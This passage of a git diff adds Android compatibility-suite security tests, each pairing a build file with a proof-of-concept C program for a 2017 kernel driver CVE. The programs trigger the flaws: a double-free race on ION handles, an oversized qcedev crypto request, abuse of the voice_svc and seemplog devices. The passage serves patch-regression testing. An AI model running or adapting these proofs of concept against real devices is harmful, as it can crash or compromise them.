+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
new file mode 100644
index 0000000..88b7378
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#define MSG_REQUEST  0x2
+
+struct voice_svc_write_msg {
+    __u32 msg_type;
+    __u8 payload[0];
+};
+
+int main() {
+    int g_fd = 0;
+    char* dev_path = "/dev/voice_svc";
+
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        return -1;
+    }
+
+    int size = sizeof(struct voice_svc_write_msg) + 4;
+    char* msg = (char*)malloc(size);
+
+    (msg + 4)[0] = 'A';
+    (msg + 4)[1] = 'A';
+    (msg + 4)[2] = 'A';
+    (msg + 4)[3] = 'A';
+    ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
+
+    int i;
+    for (i = 0; i < 20; ++i) {
+        write(g_fd, msg, size);
+        sleep(1);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
new file mode 100644
index 0000000..46c773d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0462
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
new file mode 100644
index 0000000..5cf6a49
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define DEVICE "/dev/seemplog"
+#define SZ_1M   0x100000
+#define FOUR_MB (4 * SZ_1M)
+
+#define BLK_SIZE       256
+#define BLK_HDR_SIZE   64
+#define TS_SIZE        20
+#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
+
+#define TASK_COMM_LEN 16
+
+#define MAGIC 'z'
+
+#define SEEMP_CMD_RESERVE_RDBLKS     _IOR(MAGIC, 1, int)
+#define SEEMP_CMD_RELEASE_RDBLKS     _IO(MAGIC, 2)
+#define SEEMP_CMD_GET_RINGSZ     _IOR(MAGIC, 3, int)
+#define SEEMP_CMD_GET_BLKSZ     _IOR(MAGIC, 4, int)
+#define SEEMP_CMD_SET_MASK          _IO(MAGIC, 5)
+#define SEEMP_CMD_SET_MAPPING       _IO(MAGIC, 6)
+#define SEEMP_CMD_CHECK_FILTER      _IOR(MAGIC, 7, int)
+#define SEEMP_CMD_DEBUG_START           _IOR(MAGIC, 8, int)
+#define SEEMP_CMD_DEBUG_STOP           _IOR(MAGIC, 9, int)
+
+struct read_range {
+    int start_idx;
+    int num;
+};
+
+struct blk_payload {
+    uint32_t api_id;
+    char  msg[BLK_MAX_MSG_SZ];
+} __attribute__((packed));
+
+struct seemp_logk_blk {
+    uint8_t  status;
+    uint16_t len;
+    uint8_t  version;
+    int32_t pid;
+    int32_t uid;
+    int32_t tid;
+    int32_t sec;
+    int32_t nsec;
+    char ts[TS_SIZE];
+    char appname[TASK_COMM_LEN];
+    struct blk_payload payload;
+} __attribute__((packed));
+
+void dump_blk_headers(char *ptr) {
+    int i;
+    struct seemp_logk_blk *temp;
+
+    for (i = 0; i < (FOUR_MB / 256); i++) {
+	temp = (struct seemp_logk_blk *)ptr;
+
+	ptr += 256;
+    }
+}
+
+void print_maps(int time) {
+    char cmd[] = "/proc/%d/maps";
+    char cmd2[sizeof("/proc/-2147483648/maps")];
+    FILE *fp;
+    size_t nread;
+    char buf[1024];
+
+    snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
+
+    fp = fopen(cmd2, "r");
+    if (fp == NULL) {
+	exit(-1);
+    }
+
+    while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
+	fwrite(buf, 1, nread, stdout);
+
+    fclose(fp);
+    sleep(time);
+}
+
+void reserve_rdblks(int fd) {
+    struct read_range rrange;
+    ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
+}
+
+unsigned int get_ringsz(int fd) {
+    unsigned int ringsz;
+    ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
+    return ringsz;
+}
+
+unsigned int get_blksz(int fd) {
+    unsigned int blksz;
+    ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
+    return blksz;
+}
+
+void write_to_file(char *ptr) {
+    FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
+    int i;
+
+    if (dumpfp == NULL) {
+	exit(-1);
+    }
+
+    fwrite(ptr, 1, FOUR_MB, dumpfp);
+    fclose(dumpfp);
+}
+
+void write_to_dev(int fd) {
+    char ts[] = "IIIIIIIIIIIIIIIIIIII";
+    char appname[] = "JJJJJJJJJJJJJJJJ";
+    char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
+
+    struct seemp_logk_blk block;
+
+    block.status = 0xff;
+    block.len = 0x4242;
+    block.version = 'C';
+    block.pid = 0x44444444;
+    block.uid = 0x45454545;
+    block.tid = 0x46464646;
+    block.sec = 0x47474747;
+    block.nsec = 0x48484848;
+    strcpy(block.ts, ts);
+    strcpy(block.appname, appname);
+    block.payload.api_id = 0x51515151;
+    strcpy(block.payload.msg, msg);
+}
+
+void do_mapping(void **ptr, int fd) {
+    *ptr = mmap(NULL,
+		FOUR_MB,
+		0x7,
+		MAP_SHARED,
+		fd,
+		0);
+    if (*ptr == MAP_FAILED) {
+	close(fd);
+	exit(-1);
+    }
+}
+
+void spam_mapped_region(char *ptr, int offset, int size) {
+    int i;
+    for (i = offset; i < size; i++)
+	*(ptr + i) = 'A';
+}
+
+void start_printk(int fd) {
+    ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
+}
+
+void stop_printk(int fd) {
+    ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
+}
+
+int main() {
+    int fd;
+    void *ptr;
+    int i;
+
+    fd = open(DEVICE, O_RDWR);
+    if (fd == -1) {
+	exit(-1);
+    }
+
+    start_printk(fd);
+
+    do_mapping(&ptr, fd);
+
+    for (i = 0; i < (FOUR_MB / 256); i++)
+	write_to_dev(fd);
+
+    dump_blk_headers(ptr);
+    print_maps(5);
+
+    write_to_file(ptr);
+
+    stop_printk(fd);
+
+    close(fd);
+    munmap(ptr, FOUR_MB);
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
new file mode 100644
index 0000000..91d154c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := CVE-2017-0564
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
new file mode 100644
index 0000000..6867562
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
new file mode 100644
index 0000000..7734d4c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <stdio.h>
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <linux/ion.h>
+
+#define ION_HEAP(bit) (1 << (bit))
+
+enum ion_heap_ids {
+    INVALID_HEAP_ID = -1,
+    ION_CP_MM_HEAP_ID = 8,
+    ION_SECURE_HEAP_ID = 9,
+    ION_SECURE_DISPLAY_HEAP_ID = 10,
+    ION_CP_MFC_HEAP_ID = 12,
+    ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+    ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+    ION_SYSTEM_CONTIG_HEAP_ID = 21,
+    ION_ADSP_HEAP_ID = 22,
+    ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+    ION_SF_HEAP_ID = 24,
+    ION_SYSTEM_HEAP_ID = 25,
+    ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+    ION_QSECOM_HEAP_ID = 27,
+    ION_AUDIO_HEAP_ID = 28,
+    ION_MM_FIRMWARE_HEAP_ID = 29,
+    ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+static unsigned int ion_type[] = {
+    ION_HEAP(ION_CP_MM_HEAP_ID),
+    ION_HEAP(ION_CP_MFC_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
+    ION_HEAP(ION_ADSP_HEAP_ID ),
+    ION_HEAP(ION_SF_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_HEAP_ID),
+    ION_HEAP(ION_QSECOM_HEAP_ID),
+    ION_HEAP(ION_AUDIO_HEAP_ID),
+};
+
+#define NEW_ION
+int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
+{
+    int ret;
+    struct ion_allocation_data req = {
+        .len = len,
+#ifdef NEW_ION
+        .heap_id_mask = ion_type,
+        //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
+        .flags = (1 << 0),
+        .flags = 0x0,
+#else
+        .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
+#endif
+        .align = len,
+    };
+
+    ret = ioctl(fd, ION_IOC_ALLOC, &req);
+    if (ret) {
+        return ret;
+    }
+
+    *hdl = req.handle;
+
+    return 0;
+}
+
+int ion_free(int fd, int hdl)
+{
+    int ret;
+    struct ion_handle_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_FREE, &req);
+    if (ret) {
+        return ret;
+    }
+
+    return 0;
+}
+
+int ion_map(int fd, int hdl)
+{
+    int ret;
+    struct ion_fd_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_MAP, &req);
+    if (ret) {
+        return ret;
+   }
+
+   return req.fd;
+}
+
+int ion_fd;
+int ion_handle;
+int status[2];
+int cmd = 0;
+
+void *threadForIonFree01()
+{
+    status[0] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if (cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[0] = 2;
+    return NULL;
+}
+
+
+void *threadForIonFree02()
+{
+    status[1] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if(cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[1] = 2;
+    return NULL;
+}
+
+int main()
+{
+    int ret, i, count;
+    pthread_t tid_free[2];
+
+    count = 0;
+retry:
+    status[0] = 0;
+    status[1] = 0;
+    cmd = 0;
+    ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
+    if (ion_fd < 0) {
+	return -1;
+    }
+
+    for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
+        ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
+        if (ret == 0) {
+            break;
+        }
+    }
+
+    if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
+    if (ret != 0) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
+    if (ret != 0) {
+        cmd = -1;
+        goto failed;
+    }
+
+    while (status[0] != 1 || status[1] != 1) {
+        usleep(50);
+    }
+
+    cmd = 1;
+    ret = ion_map(ion_fd, ion_handle);
+
+    while (status[0] != 2 || status[1] != 2) {
+        usleep(50);
+    }
+
+failed:
+    ion_free(ion_fd,ion_handle);
+    close(ion_fd);
+    goto retry;
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
new file mode 100644
index 0000000..c62755c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0576
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
new file mode 100644
index 0000000..f08a068
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0576/poc.c
@@ -0,0 +1,158 @@
+/*

+ * Copyright (C) 2017 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+#define _GNU_SOURCE

+

+#include <stdio.h>

+#include <unistd.h>

+#include <stdlib.h>

+#include <sys/ioctl.h>

+#include <sys/types.h>

+#include <sys/stat.h>

+#include <sys/mman.h>

+#include <sys/wait.h>

+#include <string.h>

+#include <fcntl.h>

+#include <limits.h>

+#include <inttypes.h>

+#include <errno.h>

+

+#define QCEDEV_MAX_KEY_SIZE     64

+#define QCEDEV_MAX_IV_SIZE      32

+#define QCEDEV_MAX_BUFFERS      16

+

+struct  buf_info {

+    union {

+	uint32_t        offset;

+	uint8_t         *vaddr;

+    };

+    uint32_t        len;

+};

+

+struct  qcedev_vbuf_info {

+    struct buf_info src[QCEDEV_MAX_BUFFERS];

+    struct buf_info dst[QCEDEV_MAX_BUFFERS];

+};

+

+struct  qcedev_pmem_info {

+    int             fd_src;

+    struct buf_info src[QCEDEV_MAX_BUFFERS];

+    int             fd_dst;

+    struct buf_info dst[QCEDEV_MAX_BUFFERS];

+};

+

+enum qcedev_oper_enum {

+    QCEDEV_OPER_DEC         = 0,

+    QCEDEV_OPER_ENC         = 1,

+    QCEDEV_OPER_DEC_NO_KEY  = 2,

+    QCEDEV_OPER_ENC_NO_KEY  = 3,

+    QCEDEV_OPER_LAST

+};

+

+enum qcedev_cipher_alg_enum {

+    QCEDEV_ALG_DES          = 0,

+    QCEDEV_ALG_3DES         = 1,

+    QCEDEV_ALG_AES          = 2,

+    QCEDEV_ALG_LAST

+};

+

+enum qcedev_cipher_mode_enum {

+    QCEDEV_AES_MODE_CBC     = 0,

+    QCEDEV_AES_MODE_ECB     = 1,

+    QCEDEV_AES_MODE_CTR     = 2,

+    QCEDEV_AES_MODE_XTS     = 3,

+    QCEDEV_AES_MODE_CCM     = 4,

+    QCEDEV_DES_MODE_CBC     = 5,

+    QCEDEV_DES_MODE_ECB     = 6,

+    QCEDEV_AES_DES_MODE_LAST

+};

+

+struct  qcedev_cipher_op_req {

+    uint8_t                         use_pmem;

+    union {

+	struct qcedev_pmem_info pmem;

+	struct qcedev_vbuf_info vbuf;

+    };

+    uint32_t                        entries;

+    uint32_t                        data_len;

+    uint8_t                         in_place_op;

+    uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];

+    uint32_t                        encklen;

+    uint8_t                         iv[QCEDEV_MAX_IV_SIZE];

+    uint32_t                        ivlen;

+    uint32_t                        byteoffset;

+    enum qcedev_cipher_alg_enum     alg;

+    enum qcedev_cipher_mode_enum    mode;

+    enum qcedev_oper_enum           op;

+};

+

+#define QCEDEV_IOC_MAGIC        0x87

+

+#define QCEDEV_IOCTL_ENC_REQ					\

+    _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)

+#define QCEDEV_IOCTL_DEC_REQ					\

+    _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)

+

+void thread_func(int fd)

+{

+    struct qcedev_cipher_op_req req;

+    unsigned int i;

+    char *data;

+

+    memset(&req, 0, sizeof(struct qcedev_cipher_op_req));

+

+    data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);

+    if (data == MAP_FAILED) {

+	exit(0);

+    }

+    for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))

+	*((unsigned long long*)(data + i)) = 0xABADACC355001337;

+

+    req.in_place_op = 1;

+    req.entries = 2;

+    req.byteoffset = 15;

+    req.mode = QCEDEV_AES_MODE_CTR;

+

+    req.op = QCEDEV_OPER_ENC;

+    req.ivlen = 1;

+    req.data_len = 0xFFFFFFFE;

+    req.vbuf.src[0].len = 4;

+    req.vbuf.src[1].len = 0xFFFFFFFE - 4;

+    req.vbuf.src[0].vaddr = (uint8_t*)data;

+    req.vbuf.src[1].vaddr = (uint8_t*)data;

+    req.vbuf.dst[0].len = 4;

+    req.vbuf.dst[1].len = 0xFFFFFFFE - 4;

+    req.vbuf.dst[0].vaddr = (uint8_t*)data;

+    req.vbuf.dst[1].vaddr = (uint8_t*)data;

+

+    ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);

+

+    exit(0);

+}

+

+int main(void)

+{

+    int fd;

+    const char *dev = "/dev/qce";

+

+    fd = open(dev, O_RDWR);

+    if (fd < 0) {

+	return EXIT_FAILURE;

+

+    }

+    thread_func(fd);

+

+    return EXIT_FAILURE;

+}

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
new file mode 100644
index 0000000..0ef89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0577
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
new file mode 100644
index 0000000..42455be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
